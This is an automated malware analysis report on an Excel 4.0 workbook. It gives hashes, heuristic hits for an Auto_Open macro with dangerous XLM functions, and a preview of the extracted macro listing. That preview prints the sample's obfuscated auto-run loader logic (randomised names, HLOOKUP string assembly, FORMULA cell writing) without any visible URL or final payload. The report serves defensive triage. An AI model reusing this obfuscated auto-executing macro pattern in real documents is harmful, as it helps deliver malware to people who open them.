Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9665aabe6b743c1…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:25:07 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 10d3295bb641127381c49744357b0172 SHA-1: 2e258ac2a75e418bd537bc2292a8d6c0cf115bb7 SHA-256: b9665aabe6b743c19b8eb1abbae2584df0d232c7818c8d1860c72fdf8369bc8c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6361 bytes
SHA-256: 5ff85037f779bacc61a92eb8b8272d9d34b224647973540a8fcbe7885fb9a438
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MhC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I137 
' 0018     24 LABEL : Cell Value, String Constant - aVAxuXNEI len=0 
' 0018     23 LABEL : Cell Value, String Constant - awzPTpJV len=0 
' 0018     22 LABEL : Cell Value, String Constant - cineZoO len=0 
' 0018     24 LABEL : Cell Value, String Constant - EQWvpnXPQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - JFzDJHzJOeRO len=0 
' 0018     24 LABEL : Cell Value, String Constant - JPYomAJXy len=0 
' 0018     22 LABEL : Cell Value, String Constant - kULvpMA len=0 
' 0018     24 LABEL : Cell Value, String Constant - LnEKzSDze len=0 
' 0018     24 LABEL : Cell Value, String Constant - mdwonEukX len=0 
' 0018     20 LABEL : Cell Value, String Constant - NbPqt len=0 
' 0018     26 LABEL : Cell Value, String Constant - NRkzUUXeZzz len=0 
' 0018     25 LABEL : Cell Value, String Constant - pJEvAfsWUW len=0 
' 0018     20 LABEL : Cell Value, String Constant - QWKga len=0 
' 0018     20 LABEL : Cell Value, String Constant - toCXj len=0 
' 0018     27 LABEL : Cell Value, String Constant - tRnySYFYYSuM len=0 
' 0018     24 LABEL : Cell Value, String Constant - UqhYdMErD len=0 
' 0018     25 LABEL : Cell Value, String Constant - WqNHeARLPf len=0 
' 0018     22 LABEL : Cell Value, String Constant - XbHsewU len=0 
' 0018     20 LABEL : Cell Value, String Constant - XRmzF len=0 
' 0018     25 LABEL : Cell Value, String Constant - YKCPbYccAc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MhC,I46,"SET.NAME("EQWvpnXPQ",VALUE("0"))",""
'  MhC,I48,"SET.NAME("UqhYdMErD",EQWvpnXPQ)",""
'  MhC,I52,"SET.NAME("NbPqt",EQWvpnXPQ)",""
'  MhC,I57,"SET.NAME("toCXj",COUNTA(NRkzUUXeZzz))",""
'  MhC,I59,"SET.NAME("tRnySYFYYSuM",COUNTA(WqNHeARLPf))",""
'  MhC,I61,[],""
'  MhC,I65,"SET.NAME("JPYomAJXy","")",""
'  MhC,I69,"UqhYdMErD",""
'  MhC,I71,"SET.NAME("LnEKzSDze",HLOOKUP("*",NRkzUUXeZzz,UqhYdMErD,FALSE))",""
'  MhC,I74,"JFzDJHzJOeRO",""
'  MhC,I77,"SET.NAME("cineZoO",EQWvpnXPQ)",""
'  MhC,I81,[],""
'  MhC,I84,"cineZoO",""
'  MhC,I89,"mdwonEukX",""
'  MhC,I93,"XbHsewU",""
'  MhC,I97,"XRmzF",""
'  MhC,I101,"SET.NAME("YKCPbYccAc",VALUE(HLOOKUP("*",WqNHeARLPf,XRmzF,FALSE)))",""
'  MhC,I105,"awzPTpJV",""
'  MhC,I109,"JPYomAJXy",""
'  MhC,I114,"NbPqt",""
'  MhC,I116,NEXT(),""
'  MhC,I121,"QWKga",""
'  MhC,I123,"SET.NAME("f",INT(T(FORMULA(T(JPYomAJXy)&"",""&T(QWKga)))))",""
'  MhC,I125,"pJEvAfsWUW",""
'  MhC,I130,NEXT(),""
'  MhC,I135,RETURN(),""
'  MhC,I161,"SET.NAME("kULvpMA",I46)",""
'  MhC,I163,"NRkzUUXeZzz",""
'  MhC,I165,"SET.NAME("WqNHeARLPf",R54C15)",""
'  MhC,I168,"SET.NAME("pJEvAfsWUW",179)",""
'  MhC,I173,"SET.NAME("aVAxuXNEI",9)",""
'  MhC,I178,kULvpMA(),""
'  MhC,I179,HALT(),""